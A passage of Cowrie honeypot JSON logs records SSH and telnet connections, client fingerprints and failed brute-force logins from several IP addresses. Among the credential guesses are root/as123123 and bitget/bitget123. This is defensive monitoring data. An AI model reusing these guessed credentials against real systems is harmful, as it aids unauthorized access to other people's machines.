f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:38.173925Z","src_ip":"107.150.105.153","session":"c7fa853e472a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as123123","message":"login attempt [root/as123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:38.470697Z","src_ip":"107.150.105.153","session":"c7fa853e472a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56720,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff7623073d06","protocol":"ssh","message":"New connection: 103.153.68.219:56720 (159.203.135.109:22) [session: ff7623073d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:39.153249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:39.157088Z","src_ip":"103.153.68.219","session":"ff7623073d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:39.404482Z","src_ip":"103.153.68.219","session":"ff7623073d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:39.550970Z","src_ip":"107.150.105.153","session":"c7fa853e472a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kjubyjdf","message":"login attempt [root/kjubyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:40.139611Z","src_ip":"103.153.68.219","session":"ff7623073d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:41.386932Z","src_ip":"103.153.68.219","session":"ff7623073d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":51500,"dst_ip":"10.17.0.5","dst_port":22,"session":"6141daaac28c","protocol":"ssh","message":"New connection: 185.243.11.39:51500 (10.17.0.5:22) [session: 6141daaac28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:29.638848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:29.642776Z","src_ip":"185.243.11.39","session":"6141daaac28c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:29.784665Z","src_ip":"185.243.11.39","session":"6141daaac28c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neowallet","password":"neo123","message":"login attempt [neowallet/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:30.210438Z","src_ip":"185.243.11.39","session":"6141daaac28c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:31.344760Z","src_ip":"185.243.11.39","session":"6141daaac28c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":37620,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf60d00ce98d","protocol":"ssh","message":"New connection: 91.92.40.176:37620 (10.17.0.5:22) [session: cf60d00ce98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:35.865563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:35.871702Z","src_ip":"91.92.40.176","session":"cf60d00ce98d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:35.953202Z","src_ip":"91.92.40.176","session":"cf60d00ce98d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"password","message":"login attempt [ftp/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:36.202456Z","src_ip":"91.92.40.176","session":"cf60d00ce98d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":48184,"dst_ip":"10.17.0.5","dst_port":22,"session":"fffea757215d","protocol":"ssh","message":"New connection: 61.72.55.130:48184 (10.17.0.5:22) [session: fffea757215d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:36.389304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:36.392675Z","src_ip":"61.72.55.130","session":"fffea757215d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:36.589158Z","src_ip":"61.72.55.130","session":"fffea757215d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:37.284440Z","src_ip":"91.92.40.176","session":"cf60d00ce98d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword123!@#","message":"login attempt [root/P@ssword123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:37.411578Z","src_ip":"61.72.55.130","session":"fffea757215d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:38.610560Z","src_ip":"61.72.55.130","session":"fffea757215d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52678,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7fdab2a35ab","protocol":"telnet","message":"New connection: 107.6.151.170:52678 (159.203.135.109:23) [session: d7fdab2a35ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:50.201635Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":49976,"dst_ip":"10.17.0.5","dst_port":22,"session":"31fb6e4dad32","protocol":"ssh","message":"New connection: 162.144.61.95:49976 (10.17.0.5:22) [session: 31fb6e4dad32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:55.392089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:55.395771Z","src_ip":"162.144.61.95","session":"31fb6e4dad32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:55.517712Z","src_ip":"162.144.61.95","session":"31fb6e4dad32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^&*","message":"login attempt [root/admin@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:55.901505Z","src_ip":"162.144.61.95","session":"31fb6e4dad32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:00:59.468943Z","src_ip":"162.144.61.95","session":"31fb6e4dad32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":38580,"dst_ip":"159.203.135.109","dst_port":22,"session":"a684839163d6","protocol":"ssh","message":"New connection: 38.93.206.2:38580 (159.203.135.109:22) [session: a684839163d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:01.165593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:01.172560Z","src_ip":"38.93.206.2","session":"a684839163d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:01.223778Z","src_ip":"38.93.206.2","session":"a684839163d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"butters","message":"login attempt [root/butters] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:01.383283Z","src_ip":"38.93.206.2","session":"a684839163d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:02.446931Z","src_ip":"38.93.206.2","session":"a684839163d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":52974,"dst_ip":"10.17.0.5","dst_port":22,"session":"741b23ea66f1","protocol":"ssh","message":"New connection: 43.134.49.202:52974 (10.17.0.5:22) [session: 741b23ea66f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:16.613861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:16.617282Z","src_ip":"43.134.49.202","session":"741b23ea66f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:16.860543Z","src_ip":"43.134.49.202","session":"741b23ea66f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"squid123","message":"login attempt [squid/squid123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:17.869196Z","src_ip":"43.134.49.202","session":"741b23ea66f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:19.117396Z","src_ip":"43.134.49.202","session":"741b23ea66f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":43768,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ecc159f2d95","protocol":"ssh","message":"New connection: 202.61.233.105:43768 (159.203.135.109:22) [session: 7ecc159f2d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:28.841743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:28.845785Z","src_ip":"202.61.233.105","session":"7ecc159f2d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:28.994655Z","src_ip":"202.61.233.105","session":"7ecc159f2d95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitget","password":"bitget123","message":"login attempt [bitget/bitget123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:29.434957Z","src_ip":"202.61.233.105","session":"7ecc159f2d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:30.580069Z","src_ip":"202.61.233.105","session":"7ecc159f2d95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":59330,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ab96b2b8ee1","protocol":"ssh","message":"New connection: 107.150.105.153:59330 (159.203.135.109:22) [session: 9ab96b2b8ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:35.427261Z"}
